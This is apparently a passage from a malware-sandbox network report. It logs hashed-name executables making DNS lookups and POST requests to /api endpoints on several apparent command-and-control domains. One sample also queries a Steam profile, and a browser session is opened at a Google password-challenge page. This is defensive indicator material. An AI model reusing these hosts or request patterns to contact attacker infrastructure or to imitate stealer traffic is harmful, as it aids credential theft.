                        Content-Type: multipart/form-data; boundary=----FHCGCFHDHIIIDGCAAEGD
                        Host: 185.215.113.206
                        Content-Length: 211
                        Connection: Keep-Alive
                        Cache-Control: no-cache
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:03 GMT
                        Server: Apache/2.4.41 (Ubuntu)
                        Content-Length: 8
                        Keep-Alive: timeout=5, max=99
                        Connection: Keep-Alive
                        Content-Type: text/html; charset=UTF-8
                      • flag-us
                        DNS
                        steamcommunity.com
                        63c55cb05c.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        steamcommunity.com
                        IN A
                        Response
                        steamcommunity.com
                        IN A
                        2.22.99.85
                      • flag-gb
                        GET
                        https://steamcommunity.com/profiles/76561199724331900
                        818f5dca0c.exe
                        Remote address:
                        2.22.99.85:443
                        Request
                        GET /profiles/76561199724331900 HTTP/1.1
                        Connection: Keep-Alive
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Host: steamcommunity.com
                        Response
                        HTTP/1.1 200 OK
                        Server: nginx
                        Content-Type: text/html; charset=UTF-8
                        Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;
                        Expires: Mon, 26 Jul 1997 05:00:00 GMT
                        Cache-Control: no-cache
                        Date: Fri, 20 Dec 2024 08:26:06 GMT
                        Content-Length: 35588
                        Connection: keep-alive
                        Set-Cookie: sessionid=8f684e9fb98f40f8f5008d38; Path=/; Secure; SameSite=None
                        Set-Cookie: steamCountry=GB%7C7d625a3b038bb98f68b4e14dac147806; Path=/; Secure; HttpOnly; SameSite=None
                      • flag-us
                        POST
                        https://lev-tolstoi.com/api
                        818f5dca0c.exe
                        Remote address:
                        172.67.157.254:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: lev-tolstoi.com
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:06 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=h0ljlv2tg77opvc7gj0kuc9k90; expires=Tue, 15 Apr 2025 02:12:45 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FnLFtmpo82zqEF7MgVsG6KqFakomPax7q9mYuO9MJ9TndbLbxV2J9FRsCLzwyvvzr%2BrzedZJ8x23ibjzJjWHv%2BzipohZF6p4oLsCG7Xb6%2FmmtnXTK%2Ff934ZXH4%2BZHptOqBw%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3edd6d01bd9a-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=28605&min_rtt=26169&rtt_var=9677&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2852&recv_bytes=583&delivery_rate=122946&cwnd=253&unsent_bytes=0&cid=75a9a83fa021d384&ts=260&x=0"
                      • flag-us
                        DNS
                        youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        youtube.com
                        IN A
                        Response
                        youtube.com
                        IN A
                        172.217.18.206
                      • flag-fr
                        GET
                        https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
                        firefox.exe
                        Remote address:
                        172.217.18.206:443
                        Request
                        GET /account?=https://accounts.google.com/v3/signin/challenge/pwd HTTP/2.0
                        host: youtube.com
                        user-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
                        accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                        accept-language: en-US,en;q=0.5
                        accept-encoding: gzip, deflate, br
                        upgrade-insecure-requests: 1
                        sec-fetch-dest: document
                        sec-fetch-mode: navigate
                        sec-fetch-site: none
                        sec-fetch-user: ?1
                        te: trailers
                      • flag-fr
                        GET
                        https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd
                        firefox.exe
                        Remote address:
                        172.217.18.206:443
                        Request
                        GET /account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd HTTP/2.0
                        host: www.youtube.com
                        user-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
                        accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                        accept-language: en-US,en;q=0.5
                        accept-encoding: gzip, deflate, br
                        upgrade-insecure-requests: 1
                        sec-fetch-dest: document
                        sec-fetch-mode: navigate
                        sec-fetch-site: none
                        sec-fetch-user: ?1
                        te: trailers
                      • flag-us
                        DNS
                        youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        youtube.com
                        IN A
                        Response
                        youtube.com
                        IN A
                        172.217.18.206
                      • flag-us
                        DNS
                        youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        youtube.com
                        IN AAAA
                        Response
                        youtube.com
                        IN AAAA
                        2a00:1450:4007:805::200e
                      • flag-us
                        DNS
                        spocs.getpocket.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        spocs.getpocket.com
                        IN A
                        Response
                        spocs.getpocket.com
                        IN CNAME
                        prod.ads.prod.webservices.mozgcp.net
                        prod.ads.prod.webservices.mozgcp.net
                        IN A
                        34.117.188.166
                      • flag-us
                        DNS
                        getpocket.cdn.mozilla.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        getpocket.cdn.mozilla.net
                        IN A
                        Response
                        getpocket.cdn.mozilla.net
                        IN CNAME
                        getpocket-cdn.prod.mozaws.net
                        getpocket-cdn.prod.mozaws.net
                        IN CNAME
                        prod.pocket.prod.cloudops.mozgcp.net
                        prod.pocket.prod.cloudops.mozgcp.net
                        IN A
                        34.120.5.221
                      • flag-us
                        GET
                        https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=40249-e88c401e1b1f2242d9e441c4&locale_lang=en-US&region=GB&count=30
                        firefox.exe
                        Remote address:
                        34.120.5.221:443
                        Request
                        GET /v3/firefox/global-recs?version=3&consumer_key=40249-e88c401e1b1f2242d9e441c4&locale_lang=en-US&region=GB&count=30 HTTP/2.0
                        host: getpocket.cdn.mozilla.net
                        user-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
                        accept: */*
                        accept-language: en-US,en;q=0.5
                        accept-encoding: gzip, deflate, br
                        sec-fetch-dest: empty
                        sec-fetch-mode: cors
                        sec-fetch-site: cross-site
                        if-none-match: W/"5388-z4f7VxffVE065aqbcDCq/QMZNSc"
                        te: trailers
                      • flag-us
                        DNS
                        prod.ads.prod.webservices.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        prod.ads.prod.webservices.mozgcp.net
                        IN A
                        Response
                        prod.ads.prod.webservices.mozgcp.net
                        IN A
                        34.117.188.166
                      • flag-us
                        DNS
                        prod.pocket.prod.cloudops.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        prod.pocket.prod.cloudops.mozgcp.net
                        IN A
                        Response
                        prod.pocket.prod.cloudops.mozgcp.net
                        IN A
                        34.120.5.221
                      • flag-us
                        DNS
                        prod.pocket.prod.cloudops.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        prod.pocket.prod.cloudops.mozgcp.net
                        IN AAAA
                        Response
                        prod.pocket.prod.cloudops.mozgcp.net
                        IN AAAA
                        2600:1901:0:524c::
                      • flag-us
                        DNS
                        prod.ads.prod.webservices.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        prod.ads.prod.webservices.mozgcp.net
                        IN AAAA
                        Response
                      • flag-us
                        DNS
                        prod.content-signature-chains.prod.webservices.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        prod.content-signature-chains.prod.webservices.mozgcp.net
                        IN A
                        Response
                        prod.content-signature-chains.prod.webservices.mozgcp.net
                        IN A
                        34.160.144.191
                      • flag-us
                        DNS
                        prod.content-signature-chains.prod.webservices.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        prod.content-signature-chains.prod.webservices.mozgcp.net
                        IN AAAA
                        Response
                        prod.content-signature-chains.prod.webservices.mozgcp.net
                        IN AAAA
                        2600:1901:0:92a9::
                      • flag-us
                        DNS
                        shavar.prod.mozaws.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        shavar.prod.mozaws.net
                        IN A
                        Response
                        shavar.prod.mozaws.net
                        IN A
                        44.228.225.150
                        shavar.prod.mozaws.net
                        IN A
                        52.40.120.141
                        shavar.prod.mozaws.net
                        IN A
                        44.240.87.158
                      • flag-us
                        DNS
                        www.youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        www.youtube.com
                        IN A
                        Response
                        www.youtube.com
                        IN CNAME
                        youtube-ui.l.google.com
                        youtube-ui.l.google.com
                        IN A
                        172.217.20.174
                        youtube-ui.l.google.com
                        IN A
                        172.217.20.206
                        youtube-ui.l.google.com
                        IN A
                        142.250.201.174
                        youtube-ui.l.google.com
                        IN A
                        216.58.213.78
                        youtube-ui.l.google.com
                        IN A
                        216.58.214.174
                        youtube-ui.l.google.com
                        IN A
                        142.250.178.142
                        youtube-ui.l.google.com
                        IN A
                        142.250.179.110
                        youtube-ui.l.google.com
                        IN A
                        172.217.18.206
                        youtube-ui.l.google.com
                        IN A
                        142.250.74.238
                        youtube-ui.l.google.com
                        IN A
                        142.250.179.78
                        youtube-ui.l.google.com
                        IN A
                        142.250.75.238
                      • flag-us
                        DNS
                        shavar.prod.mozaws.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        shavar.prod.mozaws.net
                        IN AAAA
                        Response
                      • flag-us
                        DNS
                        youtube-ui.l.google.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        youtube-ui.l.google.com
                        IN A
                        Response
                        youtube-ui.l.google.com
                        IN A
                        142.250.75.238
                        youtube-ui.l.google.com
                        IN A
                        216.58.213.78
                        youtube-ui.l.google.com
                        IN A
                        142.250.179.110
                        youtube-ui.l.google.com
                        IN A
                        172.217.20.174
                        youtube-ui.l.google.com
                        IN A
                        142.250.179.78
                        youtube-ui.l.google.com
                        IN A
                        172.217.20.206
                        youtube-ui.l.google.com
                        IN A
                        172.217.18.206
                        youtube-ui.l.google.com
                        IN A
                        142.250.74.238
                        youtube-ui.l.google.com
                        IN A
                        216.58.214.174
                        youtube-ui.l.google.com
                        IN A
                        142.250.178.142
                        youtube-ui.l.google.com
                        IN A
                        142.250.201.174
                      • flag-us
                        DNS
                        prod.remote-settings.prod.webservices.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        prod.remote-settings.prod.webservices.mozgcp.net
                        IN A
                        Response
                        prod.remote-settings.prod.webservices.mozgcp.net
                        IN A
                        34.149.100.209
                      • flag-us
                        DNS
                        youtube-ui.l.google.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        youtube-ui.l.google.com
                        IN AAAA
                        Response
                        youtube-ui.l.google.com
                        IN AAAA
                        2a00:1450:4007:80c::200e
                        youtube-ui.l.google.com
                        IN AAAA
                        2a00:1450:4007:80e::200e
                        youtube-ui.l.google.com
                        IN AAAA
                        2a00:1450:4007:810::200e
                        youtube-ui.l.google.com
                        IN AAAA
                        2a00:1450:4007:806::200e
                      • flag-us
                        DNS
                        prod.remote-settings.prod.webservices.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        prod.remote-settings.prod.webservices.mozgcp.net
                        IN AAAA
                        Response
                      • flag-us
                        DNS
                        consent.youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        consent.youtube.com
                        IN A
                        Response
                        consent.youtube.com
                        IN A
                        142.250.179.110
                      • flag-fr
                        GET
                        https://consent.youtube.com/m?continue=https%3A%2F%2Fwww.youtube.com%2Faccount%3F%3Dhttps%253A%252F%252Faccounts.google.com%252Fv3%252Fsignin%252Fchallenge%252Fpwd%26cbrd%3D1&gl=GB&m=0&pc=yt&cm=2&hl=en&src=1
                        firefox.exe
                        Remote address:
                        142.250.179.110:443
                        Request
                        GET /m?continue=https%3A%2F%2Fwww.youtube.com%2Faccount%3F%3Dhttps%253A%252F%252Faccounts.google.com%252Fv3%252Fsignin%252Fchallenge%252Fpwd%26cbrd%3D1&gl=GB&m=0&pc=yt&cm=2&hl=en&src=1 HTTP/2.0
                        host: consent.youtube.com
                        user-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
                        accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                        accept-language: en-US,en;q=0.5
                        accept-encoding: gzip, deflate, br
                        cookie: SOCS=CAAaBgiA55K7Bg
                        cookie: YSC=C2Cq07rrI5Q
                        cookie: __Secure-YEC=CgtYQ0w3dVFvX1FzYyii1JS7BjIKCgJHQhIEGgAgLw%3D%3D
                        cookie: VISITOR_PRIVACY_METADATA=CgJHQhIEGgAgLw%3D%3D
                        upgrade-insecure-requests: 1
                        sec-fetch-dest: document
                        sec-fetch-mode: navigate
                        sec-fetch-site: none
                        sec-fetch-user: ?1
                        te: trailers
                      • flag-us
                        DNS
                        consent.youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        consent.youtube.com
                        IN A
                        Response
                        consent.youtube.com
                        IN A
                        142.250.179.110
                      • flag-us
                        DNS
                        consent.youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        consent.youtube.com
                        IN AAAA
                        Response
                        consent.youtube.com
                        IN AAAA
                        2a00:1450:4007:818::200e
                      • flag-us
                        DNS
                        firefox-settings-attachments.cdn.mozilla.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        firefox-settings-attachments.cdn.mozilla.net
                        IN A
                        Response
                        firefox-settings-attachments.cdn.mozilla.net
                        IN CNAME
                        attachments.prod.remote-settings.prod.webservices.mozgcp.net
                        attachments.prod.remote-settings.prod.webservices.mozgcp.net
                        IN A
                        34.117.121.53
                      • flag-us
                        DNS
                        attachments.prod.remote-settings.prod.webservices.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        attachments.prod.remote-settings.prod.webservices.mozgcp.net
                        IN A
                        Response
                        attachments.prod.remote-settings.prod.webservices.mozgcp.net
                        IN A
                        34.117.121.53
                      • flag-us
                        DNS
                        attachments.prod.remote-settings.prod.webservices.mozgcp.net
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        attachments.prod.remote-settings.prod.webservices.mozgcp.net
                        IN AAAA
                        Response
                      • flag-us
                        DNS
                        www.google.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        www.google.com
                        IN A
                        Response
                        www.google.com
                        IN A
                        172.217.20.164
                      • flag-fr
                        GET
                        https://www.google.com/favicon.ico
                        firefox.exe
                        Remote address:
                        172.217.20.164:443
                        Request
                        GET /favicon.ico HTTP/2.0
                        host: www.google.com
                        user-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
                        accept: image/avif,image/webp,*/*
                        accept-language: en-US,en;q=0.5
                        accept-encoding: gzip, deflate, br
                        referer: https://consent.youtube.com/
                        sec-fetch-dest: image
                        sec-fetch-mode: no-cors
                        sec-fetch-site: cross-site
                        te: trailers
                      • flag-us
                        DNS
                        www.google.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        www.google.com
                        IN A
                        Response
                        www.google.com
                        IN A
                        172.217.20.164
                      • flag-us
                        DNS
                        www.google.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        www.google.com
                        IN AAAA
                        Response
                        www.google.com
                        IN AAAA
                        2a00:1450:4007:80c::2004
                      • flag-us
                        DNS
                        consent.youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        consent.youtube.com
                        IN A
                        Response
                        consent.youtube.com
                        IN A
                        142.250.179.110
                      • flag-us
                        DNS
                        consent.youtube.com
                        firefox.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        consent.youtube.com
                        IN A
                        Response
                        consent.youtube.com
                        IN A
                        142.250.179.110
                      • flag-us
                        DNS
                        cheapptaxysu.click
                        2cf1899635.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        cheapptaxysu.click
                        IN A
                        Response
                        cheapptaxysu.click
                        IN A
                        104.21.67.146
                        cheapptaxysu.click
                        IN A
                        172.67.177.88
                      • flag-us
                        POST
                        https://cheapptaxysu.click/api
                        2cf1899635.exe
                        Remote address:
                        104.21.67.146:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: cheapptaxysu.click
                        Response
                        HTTP/1.1 403 Forbidden
                        Date: Fri, 20 Dec 2024 08:26:19 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        X-Frame-Options: SAMEORIGIN
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X4ckUMoQkdd3hC8T9OhEmz%2FLHknBCQ0Mxr5z053vquir1NUwcHt3x%2FomyEtDVeaPizF%2F20JjF%2BhW%2BhlXxM2vHe3mM1PK%2Bl0YJg7Dw%2BWE7PjcaZUg3gZgUKLDfOWayeL7lDIVEW0%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3f2ddf5ccd4f-LHR
                      • flag-us
                        POST
                        https://cheapptaxysu.click/api
                        2cf1899635.exe
                        Remote address:
                        104.21.67.146:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        Cookie: __cf_mw_byp=7oANJxx1NVk3DYTWm8kuA65Ae97_I4Ch25kzm9glwW4-1734683179-0.0.1.1-/api
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 42
                        Host: cheapptaxysu.click
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:19 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=1d3edaae3om8mnfgi9fjo06ko6; expires=Tue, 15 Apr 2025 02:12:58 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0mhJZvGDp7hI4Bl35nPRuZ1ZlD1ixHy2oQsRC5ei%2B4gVk9US7TOelHM715svec%2FOzdCseR7Z3NXPX9E0wusTC7chC%2F21RWvtE4Hq0G4G89agyKzmm2wMMCNvyfcNZQROX9kZnGo%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3f2e1f95cd4f-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=29834&min_rtt=26772&rtt_var=8201&sent=15&recv=11&lost=0&retrans=0&sent_bytes=8148&recv_bytes=1044&delivery_rate=391559&cwnd=257&unsent_bytes=0&cid=ab828303b3849edd&ts=299&x=0"
                      • flag-us
                        DNS
                        pancakedipyps.click
                        3aa5453546.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        pancakedipyps.click
                        IN A
                        Response
                        pancakedipyps.click
                        IN A
                        172.67.209.202
                        pancakedipyps.click
                        IN A
                        104.21.23.76
                      • flag-us
                        POST
                        https://pancakedipyps.click/api
                        3aa5453546.exe
                        Remote address:
                        172.67.209.202:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: pancakedipyps.click
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:34 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=2mbd5bd1p7jb3pgnvio65junc1; expires=Tue, 15 Apr 2025 02:13:13 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yPsOryluOv%2B5ZOG2Plx%2FAbub1uULiFCEKjzNzZagtg3%2FRRx3CoBf0uEza8vYSaq9CXb1ODmfJI5mFhmoBVVcUWX5bFNIhxUPGlbF6kzBMGz%2Bp%2Fb3pLsdGlpYUn4k%2FvL2krYfa2%2BB"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3f8d0dae3854-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=29595&min_rtt=26439&rtt_var=13677&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2865&recv_bytes=587&delivery_rate=153977&cwnd=253&unsent_bytes=0&cid=77310ebb6b2fc1d3&ts=268&x=0"
                      • flag-us
                        POST
                        https://discokeyus.lat/api
                        3aa5453546.exe
                        Remote address:
                        172.67.197.170:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: discokeyus.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:37 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=jt6k3knm7hollk0igtjdb1sdsl; expires=Tue, 15 Apr 2025 02:13:16 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e2Ueo8SFwW59yvLuSu0TlynoepgwIuLfIt0C14h41dxkYrvGAroziHdphqyYQ6wPUl%2F7oJ0dNCI6DI0joBRM5Oi7CImPjSn7wkh6P20OekVQYj79xUVJBFqzMZq2YvNBcw%3D%3D"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3f9d08a6bee9-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=28313&min_rtt=26617&rtt_var=9567&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=582&delivery_rate=152947&cwnd=253&unsent_bytes=0&cid=05515321d0dbb5be&ts=264&x=0"
                      • flag-us
                        POST
                        https://necklacebudi.lat/api
                        3aa5453546.exe
                        Remote address:
                        172.67.215.121:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: necklacebudi.lat
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:37 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=0k0lajtmvvrpq4t593j5amq301; expires=Tue, 15 Apr 2025 02:13:16 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
                        X-Content-Type-Options: nosniff
                        X-XSS-Protection: 1; mode=block
                        cf-cache-status: DYNAMIC
                        vary: accept-encoding
                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oJ8ZoFLY0%2Bdz19gVXtqfhRy55Q8v83WeFjwfuh%2Ft235sQjkamn0gMfmJPQX8QDr5eIea0FFQGBs16iMzEQtPHzZnfFytLGrFoltvpbu7VbBjXxpZWj%2Bg3B95WlYLZGFKEehY"}],"group":"cf-nel","max_age":604800}
                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                        Server: cloudflare
                        CF-RAY: 8f4e3f9efa4ccd24-LHR
                        alt-svc: h3=":443"; ma=86400
                        server-timing: cfL4;desc="?proto=TCP&rtt=26844&min_rtt=26213&rtt_var=8612&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2855&recv_bytes=584&delivery_rate=153102&cwnd=253&unsent_bytes=0&cid=aa61825a229fa5c6&ts=249&x=0"
                      • flag-us
                        DNS
                        treehoneyi.click
                        8797d752f7.exe
                        Remote address:
                        8.8.8.8:53
                        Request
                        treehoneyi.click
                        IN A
                        Response
                        treehoneyi.click
                        IN A
                        172.67.180.113
                        treehoneyi.click
                        IN A
                        104.21.91.209
                      • flag-us
                        POST
                        https://treehoneyi.click/api
                        8797d752f7.exe
                        Remote address:
                        172.67.180.113:443
                        Request
                        POST /api HTTP/1.1
                        Connection: Keep-Alive
                        Content-Type: application/x-www-form-urlencoded
                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                        Content-Length: 8
                        Host: treehoneyi.click
                        Response
                        HTTP/1.1 200 OK
                        Date: Fri, 20 Dec 2024 08:26:37 GMT
                        Content-Type: text/html; charset=UTF-8
                        Transfer-Encoding: chunked
                        Connection: keep-alive
                        Set-Cookie: PHPSESSID=hhqc4t36qjau10rq31d5pfu3fi; expires=Tue, 15 Apr 2025 02:13:16 GMT; Max-Age=9999999; path=/
                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                        Cache-Control: no-store, no-cache, must-revalidate
                        Pragma: no-cache
                        X-Frame-Options: DENY
